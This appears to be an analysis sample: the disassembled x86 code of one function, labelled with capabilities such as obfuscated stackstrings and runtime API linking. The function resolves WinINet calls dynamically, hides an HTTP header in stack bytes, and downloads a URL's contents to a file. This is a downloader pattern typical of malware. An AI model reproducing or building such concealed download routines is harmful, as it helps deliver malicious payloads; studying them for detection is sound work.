Function at 0x401482
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10074
call fcn.00403c60
push ebx
push esi
push edi
push str.WININET.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetGetConnectedState
push eax
mov dword [ebp - 4], eax
call ebx
xor esi, esi
lea ecx, [ebp - 0x28]
push esi
push ecx
call eax
test eax, eax
je 0x401670
mov esi, str.Agent
lea edi, [ebp - 0x34]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call dword [0x413ad0]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x74]
push str._s_ld
push eax
call fcn.00403c0b
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0x10
mov edi, str.WININET.dll
push edi
call esi
push str.InternetOpenA
push eax
mov dword [ebp - 4], eax
call ebx
test byte [ebp - 0x28], 4
jne 0x40150e
xor ecx, ecx
push ecx
push ecx
push ecx
push 4
jmp 0x401514
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
lea ecx, [ebp - 0x74]
push ecx
call eax
test eax, eax
mov dword [ebp - 8], eax
jne 0x401528
xor esi, esi
jmp 0x401670
and byte [ebp - 9], 0
push edi
mov byte [ebp - 0x18], 0x41
mov byte [ebp - 0x17], 0x63
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x14], 0x70
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x3a
mov byte [ebp - 0x11], 0x20
mov byte [ebp - 0x10], 0x2a
mov byte [ebp - 0xf], 0x2f
mov byte [ebp - 0xe], 0x2a
mov byte [ebp - 0xd], 0xd
mov byte [ebp - 0xc], 0xa
mov byte [ebp - 0xb], 0xd
mov byte [ebp - 0xa], 0xa
call esi
push str.InternetOpenUrlA
push eax
mov dword [ebp - 4], eax
call ebx
mov dword [ebp - 0x24], eax
push 0
lea eax, [ebp - 0x18]
push 0x84000100
push eax
call fcn.00403b90
pop ecx
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 8]
push dword [ebp - 8]
call dword [ebp - 0x24]
test eax, eax
mov dword [ebp + 8], eax
je 0x401521
push 0x4108b4
push dword [ebp + 0xc]
call fcn.00403b6f
pop ecx
mov dword [ebp + 0xc], eax
test eax, eax
pop ecx
je 0x40165e
and dword [ebp - 0x20], 0
push edi
mov dword [ebp - 0x2c], 4
call esi
push str.HttpQueryInfoA
push eax
mov dword [ebp - 4], eax
call ebx
lea ecx, [ebp - 0x2c]
push 0
push ecx
lea ecx, [ebp - 0x20]
push ecx
push 0x20000005
push dword [ebp + 8]
call eax
test eax, eax
jne 0x4015f7
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
and dword [ebp - 0x20], 0
push edi
call esi
push str.InternetReadFile
push eax
mov dword [ebp - 4], eax
call ebx
push 0x41087c
mov edi, eax
push dword [ebp - 4]
call ebx
mov ebx, eax
lea eax, [ebp - 0x1c]
push eax
mov esi, 0x4000
lea eax, [ebp - 0x10074]
push esi
push eax
push dword [ebp + 8]
call edi
test eax, eax
je 0x401650
cmp dword [ebp - 0x1c], 0
push dword [ebp + 0xc]
je 0x401662
push 1
lea eax, [ebp - 0x10074]
push dword [ebp - 0x1c]
push eax
call fcn.00403a05
add esp, 0x10
lea eax, [ebp - 0x1c]
push eax
jmp 0x40161c
push dword [ebp - 8]
call ebx
push dword [ebp + 0xc]
call fcn.00403988
pop ecx
xor eax, eax
jmp 0x40167b
call fcn.00403988
pop ecx
push dword [ebp - 8]
call ebx
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret